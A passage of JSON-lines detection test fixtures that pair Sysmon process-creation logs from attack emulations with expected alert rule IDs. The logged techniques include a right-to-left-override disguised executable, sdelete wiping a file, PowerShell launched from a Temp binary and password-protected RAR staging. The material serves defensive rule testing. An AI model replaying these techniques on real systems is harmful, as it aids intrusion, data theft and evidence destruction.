Cmd.Exe\\r\\nCommandLine: \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\"\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-ae85-6171-3684-1d0000000000}\\r\\nLogonId: 0x1D8436\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\\r\\nParentProcessGuid: {4dc16835-c80d-6171-29c3-300100000000}\\r\\nParentProcessId: 7100\\r\\nParentImage: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr\\r\\nParentCommandLine: \\\"C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr\\\" /S\\\"\",\"version\":\"5\",\"systemTime\":\"2021-10-21T20:06:42.7314769Z\",\"eventRecordID\":\"397076\",\"threadID\":\"4016\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2296\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\sample.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-ae85-6171-3684-1d0000000000}", "win.eventdata.logonId": "0x1d8436", "win.eventdata.originalFileName": "sample.Exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr\\\" /S", "win.eventdata.parentImage": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr", "win.eventdata.parentProcessGuid": "{4dc16835-c80d-6171-29c3-300100000000}", "win.eventdata.parentProcessId": "7100", "win.eventdata.processGuid": "{4dc16835-c852-6171-e804-320100000000}", "win.eventdata.processId": "7468", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-10-21 20:06:42.724", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "397076", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2296", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-21T20:06:42.7314769Z", "win.system.task": "1", "win.system.threadID": "4016", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92060", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Parent process with suspicious right to left override character in binary file"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"PowerShell.EXE\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{1f43d37e-6816-6170-cf00-000000001300}\", \"description\": \"Windows PowerShell\", \"logonGuid\": \"{1f43d37e-60e7-6170-4430-050000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\\\\\"\", \"processGuid\": \"{1f43d37e-6be2-6170-0401-000000001300}\", \"logonId\": \"0x53044\", \"parentProcessId\": \"1040\", \"processId\": \"4308\", \"currentDirectory\": \"C:\\\\\\\\Users\\\\\\\\adminuser\\\\\\\\\", \"utcTime\": \"2021-10-20 19:20:02.644\", \"hashes\": \"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"ruleName\": \"technique_id=T1086,technique_name=PowerShell\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"powershell.exe\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.546 (WinBuild.160101.0800)\", \"user\": \"DC\\\\\\\\adminuser\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-10-20 19:20:02.644\\r\\nProcessGuid: {1f43d37e-6be2-6170-0401-000000001300}\\r\\nProcessId: 4308\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: powershell.exe\\r\\nCurrentDirectory: C:\\\\Users\\\\adminuser\\\\\\r\\nUser: DC\\\\adminuser\\r\\nLogonGuid: {1f43d37e-60e7-6170-4430-050000000000}\\r\\nLogonId: 0x53044\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {1f43d37e-6816-6170-cf00-000000001300}\\r\\nParentProcessId: 1040\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" \\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-20T19:20:02.6596596Z\", \"eventRecordID\": \"37049\", \"threadID\": \"1096\", \"computer\": \"Workstation1.dc.local\", \"task\": \"1\", \"processID\": \"2352\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "powershell.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\adminuser\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{1f43d37e-60e7-6170-4430-050000000000}", "win.eventdata.logonId": "0x53044", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{1f43d37e-6816-6170-cf00-000000001300}", "win.eventdata.parentProcessId": "1040", "win.eventdata.processGuid": "{1f43d37e-6be2-6170-0401-000000001300}", "win.eventdata.processId": "4308", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DC\\\\adminuser", "win.eventdata.utcTime": "2021-10-20 19:20:02.644", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "1", "win.system.eventRecordID": "37049", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2352", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-20T19:20:02.6596596Z", "win.system.task": "1", "win.system.threadID": "1096", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92027", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell process spawned powershell instance"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"sdelete.exe\", \"image\": \"C:\\\\\\\\Program Files\\\\\\\\SysinternalsSuite\\\\\\\\sdelete64.exe\", \"product\": \"Sysinternals Sdelete\", \"parentProcessGuid\": \"{1f43d37e-61e1-6172-e302-000000001300}\", \"description\": \"Secure file delete\", \"logonGuid\": \"{1f43d37e-60e7-6170-4430-050000000000}\", \"parentCommandLine\": \"powershell.exe\", \"processGuid\": \"{1f43d37e-636b-6172-f102-000000001300}\", \"logonId\": \"0x53044\", \"parentProcessId\": \"5612\", \"processId\": \"5216\", \"currentDirectory\": \"C:\\\\\\\\Program Files\\\\\\\\SysinternalsSuite\\\\\\\\\", \"utcTime\": \"2021-10-22 07:08:27.365\", \"hashes\": \"SHA1=97412DBA3CBEB0125C71B7B2AB194EA2FDFF51B2,MD5=E2114B1627889B250C7FD0425BA1BD54,SHA256=5434DFDB731238EDCB07A8C3A83594791536DDA7A63C29F19BE7BB1D59AEDD60,IMPHASH=CEB40AD3A90A0866598C1A508AFB7265\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"ruleName\": \"technique_id=T1086,technique_name=PowerShell\", \"company\": \"Sysinternals - www.sysinternals.com\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\SysinternalsSuite\\\\\\\\sdelete64.exe\\\\\\\" /accepteula C:\\\\\\\\Users\\\\\\\\adminuser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Draft.Zip\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"2.04\", \"user\": \"DC\\\\\\\\adminuser\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-10-22 07:08:27.365\\r\\nProcessGuid: {1f43d37e-636b-6172-f102-000000001300}\\r\\nProcessId: 5216\\r\\nImage: C:\\\\Program Files\\\\SysinternalsSuite\\\\sdelete64.exe\\r\\nFileVersion: 2.04\\r\\nDescription: Secure file delete\\r\\nProduct: Sysinternals Sdelete\\r\\nCompany: Sysinternals - www.sysinternals.com\\r\\nOriginalFileName: sdelete.exe\\r\\nCommandLine: \\\"C:\\\\Program Files\\\\SysinternalsSuite\\\\sdelete64.exe\\\" /accepteula C:\\\\Users\\\\adminuser\\\\AppData\\\\Roaming\\\\Draft.Zip\\r\\nCurrentDirectory: C:\\\\Program Files\\\\SysinternalsSuite\\\\\\r\\nUser: DC\\\\adminuser\\r\\nLogonGuid: {1f43d37e-60e7-6170-4430-050000000000}\\r\\nLogonId: 0x53044\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=97412DBA3CBEB0125C71B7B2AB194EA2FDFF51B2,MD5=E2114B1627889B250C7FD0425BA1BD54,SHA256=5434DFDB731238EDCB07A8C3A83594791536DDA7A63C29F19BE7BB1D59AEDD60,IMPHASH=CEB40AD3A90A0866598C1A508AFB7265\\r\\nParentProcessGuid: {1f43d37e-61e1-6172-e302-000000001300}\\r\\nParentProcessId: 5612\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: powershell.exe\\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-22T07:08:27.4167661Z\", \"eventRecordID\": \"39540\", \"threadID\": \"1096\", \"computer\": \"Workstation1.dc.local\", \"task\": \"1\", \"processID\": \"2352\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Program Files\\\\SysinternalsSuite\\\\sdelete64.exe\\\" /accepteula C:\\\\Users\\\\adminuser\\\\AppData\\\\Roaming\\\\Draft.Zip", "win.eventdata.company": "Sysinternals - www.sysinternals.com", "win.eventdata.currentDirectory": "C:\\\\Program Files\\\\SysinternalsSuite\\\\", "win.eventdata.description": "Secure file delete", "win.eventdata.fileVersion": "2.04", "win.eventdata.hashes": "SHA1=97412DBA3CBEB0125C71B7B2AB194EA2FDFF51B2,MD5=E2114B1627889B250C7FD0425BA1BD54,SHA256=5434DFDB731238EDCB07A8C3A83594791536DDA7A63C29F19BE7BB1D59AEDD60,IMPHASH=CEB40AD3A90A0866598C1A508AFB7265", "win.eventdata.image": "C:\\\\Program Files\\\\SysinternalsSuite\\\\sdelete64.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{1f43d37e-60e7-6170-4430-050000000000}", "win.eventdata.logonId": "0x53044", "win.eventdata.originalFileName": "sdelete.exe", "win.eventdata.parentCommandLine": "powershell.exe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{1f43d37e-61e1-6172-e302-000000001300}", "win.eventdata.parentProcessId": "5612", "win.eventdata.processGuid": "{1f43d37e-636b-6172-f102-000000001300}", "win.eventdata.processId": "5216", "win.eventdata.product": "Sysinternals Sdelete", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DC\\\\adminuser", "win.eventdata.utcTime": "2021-10-22 07:08:27.365", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "1", "win.system.eventRecordID": "39540", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2352", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-22T07:08:27.4167661Z", "win.system.task": "1", "win.system.threadID": "1096", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92063", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "File deletion by process"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"PowerShell.EXE\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-2c56-6179-7101-000000001d00}\", \"description\": \"Windows PowerShell\", \"logonGuid\": \"{94f48244-2c56-6179-179f-560000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\python.exe\\\\\\\"\", \"processGuid\": \"{94f48244-2e49-6179-7701-000000001d00}\", \"logonId\": \"0x569f17\", \"parentProcessId\": \"3552\", \"processId\": \"3976\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-10-27 10:47:37.740\", \"hashes\": \"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\python.exe\", \"ruleName\": \"technique_id=T1086,technique_name=PowerShell\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"powershell.exe\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.546 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-10-27 10:47:37.740\\r\\nProcessGuid: {94f48244-2e49-6179-7701-000000001d00}\\r\\nProcessId: 3976\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: powershell.exe\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-2c56-6179-179f-560000000000}\\r\\nLogonId: 0x569F17\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {94f48244-2c56-6179-7101-000000001d00}\\r\\nParentProcessId: 3552\\r\\nParentImage: C:\\\\Windows\\\\Temp\\\\python.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\Temp\\\\python.exe\\\" \\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-27T10:47:37.7562634Z\", \"eventRecordID\": \"116532\", \"threadID\": \"4092\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2720\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "powershell.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-2c56-6179-179f-560000000000}", "win.eventdata.logonId": "0x569f17", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\Temp\\\\python.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\Temp\\\\python.exe", "win.eventdata.parentProcessGuid": "{94f48244-2c56-6179-7101-000000001d00}", "win.eventdata.parentProcessId": "3552", "win.eventdata.processGuid": "{94f48244-2e49-6179-7701-000000001d00}", "win.eventdata.processId": "3976", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-10-27 10:47:37.740", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "116532", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2720", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-27T10:47:37.7562634Z", "win.system.task": "1", "win.system.threadID": "4092", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92065", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell launched by binary in suspicious location"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\Rar.exe\", \"product\": \"WinRAR\", \"parentProcessGuid\": \"{94f48244-2e49-6179-7701-000000001d00}\", \"description\": \"Command line RAR\", \"logonGuid\": \"{94f48244-2c56-6179-179f-560000000000}\", \"parentCommandLine\": \"powershell.exe\", \"processGuid\": \"{94f48244-2e83-6179-7901-000000001d00}\", \"logonId\": \"0x569f17\", \"parentProcessId\": \"3976\", \"processId\": \"3052\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\\", \"utcTime\": \"2021-10-27 10:48:35.989\", \"hashes\": \"SHA1=FBFAA0AA1E0F6BE9987F896AF5F15B593EE1AD50,MD5=B891917AA5F7E2E9806F2BECEBE7C77B,SHA256=26D9212EC8DBCA45383EB95EC53C05357851BD7529FA0761D649F62E90C4E9FD,IMPHASH=B6CF226307A5F95763025E2880CDD028\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"ruleName\": \"technique_id=T1086,technique_name=PowerShell\", \"company\": \"Alexander Roshal\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\Rar.exe\\\\\\\" a -hpfGzq5yKw C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\working.zip C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\working.zip\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"5.71.0\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-10-27 10:48:35.989\\r\\nProcessGuid: {94f48244-2e83-6179-7901-000000001d00}\\r\\nProcessId: 3052\\r\\nImage: C:\\\\Windows\\\\Temp\\\\Rar.exe\\r\\nFileVersion: 5.71.0\\r\\nDescription: Command line RAR\\r\\nProduct: WinRAR\\r\\nCompany: Alexander Roshal\\r\\nOriginalFileName: -\\r\\nCommandLine: \\\"C:\\\\Windows\\\\Temp\\\\Rar.exe\\\" a -hpfGzq5yKw C:\\\\Users\\\\itadmin\\\\Desktop\\\\working.zip C:\\\\Users\\\\itadmin\\\\AppData\\\\Roaming\\\\working.zip\\r\\nCurrentDirectory: C:\\\\Windows\\\\Temp\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-2c56-6179-179f-560000000000}\\r\\nLogonId: 0x569F17\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=FBFAA0AA1E0F6BE9987F896AF5F15B593EE1AD50,MD5=B891917AA5F7E2E9806F2BECEBE7C77B,SHA256=26D9212EC8DBCA45383EB95EC53C05357851BD7529FA0761D649F62E90C4E9FD,IMPHASH=B6CF226307A5F95763025E2880CDD028\\r\\nParentProcessGuid: {94f48244-2e49-6179-7701-000000001d00}\\r\\nParentProcessId: 3976\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: 